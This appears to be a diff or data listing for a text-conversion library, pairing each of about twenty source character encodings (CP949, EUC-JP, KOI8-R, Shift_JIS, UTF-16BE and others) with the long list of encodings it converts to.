+CP949:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+EUC-JP:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+EUC-KR:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+GB18030:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+GBK:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+ISO-8859-1:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+ISO-8859-2:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+ISO-8859-3:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+ISO-8859-4:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+ISO-8859-5:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+ISO-8859-6:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+ISO-8859-7:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+ISO-8859-8:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+ISO-8859-9:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+ISO-8859-10:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+ISO-8859-11:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+ISO-8859-13:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+ISO-8859-14:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+ISO-8859-15:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+KOI8-R:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+KOI8-U:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+Shift_JIS:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+UTF-16BE:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
